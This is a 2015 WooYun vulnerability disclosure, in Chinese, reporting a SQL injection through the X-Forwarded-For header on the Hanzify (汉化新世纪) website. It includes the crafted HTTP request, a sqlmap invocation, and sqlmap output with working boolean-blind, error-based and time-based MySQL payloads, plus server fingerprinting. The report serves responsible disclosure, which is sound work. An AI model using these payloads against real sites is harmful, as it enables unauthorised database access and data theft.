漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0130768
漏洞标题:汉化新世纪存在SQL注入
相关厂商:汉化新世纪
漏洞作者: 陆由乙
提交时间:2015-08-02 20:57
修复时间:2015-09-20 11:20
公开时间:2015-09-20 11:20
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:7
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-08-02: 细节已通知厂商并且等待厂商处理中
2015-08-06: 厂商已经确认,细节仅向厂商公开
2015-08-16: 细节向核心白帽子及相关领域专家公开
2015-08-26: 细节向普通白帽子公开
2015-09-05: 细节向实习白帽子公开
2015-09-20: 细节向公众公开
简要描述:
汉化新世纪是一个由自由汉化人自愿成立的组织,站点上汉化软件的更新在整个中国速度最快、数量最多、覆盖最广。立足将更多的国外软件本土化,让国人用最好的软件。
详细说明:
HTTP头注入位置X-Forwarded-For
影响:全站
GET /software/Repair.php?Do=Y HTTP/1.1
Host: www.hanzify.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.hanzify.org/software/1330.html
X-Forwarded-For: 8.8.8.8*
Connection: keep-alive
保存为zr1.txt放在sqlmap目录下。
漏洞证明:
E:\qy\sqlmapproject-sqlmap-b1d13d1>sqlmap.py -r zr1.txt
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150213}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:07:55
zr1.txt
[20:07:55] [INFO] parsing HTTP request from 'zr1.txt'
zr1.txt
custom injection marking character ('*') found in option '--headers/--user-agent
/--referer/--cookie'. Do you want to process it? [Y/n/q]
[20:07:57] [INFO] resuming back-end DBMS 'mysql'
[20:07:57] [INFO] testing connection to the target URL
[20:07:58] [ERROR] detected invalid data for declared content encoding 'gzip' ('
size too large')
[20:07:58] [WARNING] turning off page compression
[20:07:58] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[20:07:58] [WARNING] if the problem persists please check that the provided targ
et URL is valid. In case that it is, you can try to rerun with the switch '--ran
dom-agent' turned on and/or proxy switches ('--ignore-proxy', '--proxy',...)
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: X-Forwarded-For #1* ((custom) HEADER)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: 8.8.8.8' AND 1098=1098#
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: -2551' OR 1 GROUP BY CONCAT(0x717a6a7a71,(SELECT (CASE WHEN (7129=7
129) THEN 1 ELSE 0 END)),0x716a707171,FLOOR(RAND(0)*2)) HAVING MIN(0)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT - comment)
Payload: 8.8.8.8' AND (SELECT * FROM (SELECT(SLEEP(5)))SZWl)#
---
[20:08:00] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.3.10
back-end DBMS: MySQL 5.0.11
[20:08:00] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.hanzify.org'
[*] shutting down at 20:08:00
修复方案:
过滤
版权声明:转载请注明来源 陆由乙@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:9
确认时间:2015-08-06 11:18
厂商回复:
CNVD确认所述漏洞情况,暂未建立与软件生产厂商(或网站管理单位)的直接处置渠道,待认领。
最新状态:
暂无